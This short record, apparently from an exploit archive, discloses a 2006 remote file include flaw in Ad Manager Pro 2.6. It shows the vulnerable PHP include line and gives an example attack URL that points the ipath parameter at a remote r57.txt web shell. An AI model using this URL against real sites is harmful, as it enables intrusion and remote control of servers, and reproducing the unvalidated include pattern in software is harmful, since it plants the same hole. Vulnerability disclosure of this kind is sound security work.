Ad Manager Pro 2.6 (ipath) Remote File Include Vulnerability

EDB-ID: 1923 CVE: 2006-3192 OSVDB-ID: 26673...
Verified: Author: Basti Published: 2006-06-17
Download Exploit: Source Raw Download Vulnerable App: N/A
Ad Manager Pro 2.6 Remote File Include Vulnerability

homepage: phpwebscripts.com

Affected files: ad.php and common.php

Credit: Basti

Vulnerable Code:
if ($ipath) include($ipath.'/common.php'); else include('./common.php');

Example:
http://[site]/admanagerpro/common.php?ipath=http://site/r57.txt?

# milw0rm.com [2006-06-17]